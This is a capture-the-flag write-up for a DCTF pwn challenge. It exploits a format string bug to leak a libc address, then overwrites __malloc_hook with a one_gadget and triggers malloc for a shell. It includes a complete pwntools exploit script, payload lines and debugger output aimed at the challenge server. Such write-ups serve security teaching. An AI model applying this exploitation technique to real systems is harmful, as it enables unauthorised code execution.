dctf - Formats Last theorem (pwn)

Challenge Description

I dare you to hook the malloc

nc dctf-chall-formats-last-theorem.westeurope.azurecontainer.io 7482

formats_last_theorem Dockerfile


We are provided with the binary and a docker file. We first check the security features of the binary.

[*] '/media/sf_dabian/Challenges/dctf/pwn/lft/formats_last_theorem'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Connecting to the service, we get prompted for an input, which seems to continuously loop and prompt for more input.

➜ nc dctf-chall-formats-last-theorem.westeurope.azurecontainer.io 7482

I won't ask you, what your name is. It's getting kinda old at this point
you entered

I won't ask you, what your name is. It's getting kinda old at this point
you entered

Seeing that the program echoes our input back to us, we try a format string and voila! We evidently have a format string exploit.

Decompiling in IDA, we get the following psuedo source code.

void __noreturn vuln()
  char format[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v1; // [rsp+68h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  while ( 1 )
    puts("I won't ask you, what your name is. It's getting kinda old at this point");
    __isoc99_scanf("%100s", format);
    puts("you entered");

int main()

We also look at our DockerFile,

FROM ubuntu:18.04
RUN apt-get update && apt-get install -y make gcc socat

RUN groupadd pilot
RUN useradd pilot --gid pilot

COPY ./app /app

ENTRYPOINT [ "bash", "/app/startService.sh" ]

Exploitation Ideas

We have a format string exploit with unlimited inputs, that should make it easy. However, FULL RELRO is enabled, that means it is going to be impossible to overwrite anything in the Global Offset Table. Hmm that makes things difficult, the challenge description hints to malloc.

Interesting! Let’s look at printf source code,

if (width >= WORK_BUFFER_SIZE - 32)
    size_t needed = ((size_t) width + 32) * sizeof (CHAR_T);
    workstart = (CHAR_T *) malloc (needed);

By searching malloc in vfprintf.c, it seems that we can trigger malloc and the following free if the width field of the format placeholder is large enough.

Since __malloc_hook and __free_hook are functions in the libc, and not in the GOT, we can overwrite them easily despite FULL RELRO by providing large format placeholder.

Hence, if you think about it, we are easily able to overwrite __malloc_hook or __free_hook with a one_gadget and hence get a shell.

printf -> __malloc_hook -> pop shell

However, since PIE is enabled, we have to leak our libc.address off the stack. And for us to get a correct offset for a libc function in the stack, we have to be running our binary on the same libc and ld as them.

Here is where our DockerFile comes in.

FROM ubuntu:18.04

Every version of Ubuntu has its own libc and ld. Since we have the ubuntu version, we can just obtain our libc and ld as well.

Let’s modify the DockerFile to make our life easy.

FROM ubuntu:18.04
CMD [ "sha1sum", "/lib/x86_64-linux-gnu/libc.so.6" ]

and run it. We can use libc-database identify for this.


Let’s start exploiting!


First we load our libc and ld to our binary with patchelf.

patchelf --replace-needed libc.so.6 /root/libc-database/libs/libc6_2.27-3ubuntu1.4_amd64/libc-2.27.so ./formats_last_theorem

patchelf --set-interpreter /root/libc-database/libs/libc6_2.27-3ubuntu1.4_amd64/ld-2.27.so ./formats_last_theorem

Using GDB, we can find that the 3rd format string offset points to write+20.

I won't ask you, what your name is. It's getting kinda old at this point
you entered

pwndbg> x 0x7ffff7af2224
0x7ffff7af2224 <write+20>:	0xf0003d48

We also need our one_gadget.

➜ one_gadget /root/libc-database/libs/libc6_2.27-3ubuntu1.4_amd64/libc.so.6

0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
 rsp & 0xf == 0
 rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
 [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
 [rsp+0x70] == NULL

We will take 0x10a41c.

Let’s write our exploit script!

With fmtstr_payload, we are easily able to overwrite __malloc_hook with our one_gadget. However, it did not work initially at first and it took a little big of messing around of settings to get it to work with an extra argument write_size='short'.

After we overwrite __malloc_hook with our one_gadget, we send a large enough format string placeholder to trigger malloc and get our shell.

context.binary = elf = ELF('formats_last_theorem')
#p = process('./formats_last_theorem')
p = remote('dctf-chall-formats-last-theorem.westeurope.azurecontainer.io', 7482)
libc = ELF('/root/libc-database/libs/libc6_2.27-3ubuntu1.4_amd64/libc-2.27.so')

p.sendlineafter('point\n', '%3$p')
p.recvuntil('you entered\n')
libcwrite = int(p.recvline().strip().decode(), 16)
libc.address = libcwrite - libc.sym.write - 20

log.warn(f"libc base @ {hex(libc.address)}")

payload = fmtstr_payload(6, {libc.sym.__malloc_hook: (0x10a41c + libc.address)}, write_size='short')
p.sendlineafter('point\n', payload)
p.sendlineafter('point\n', '%10000$c')
#: dctf{N0t_all_7h30r3ms_s0und_g00d}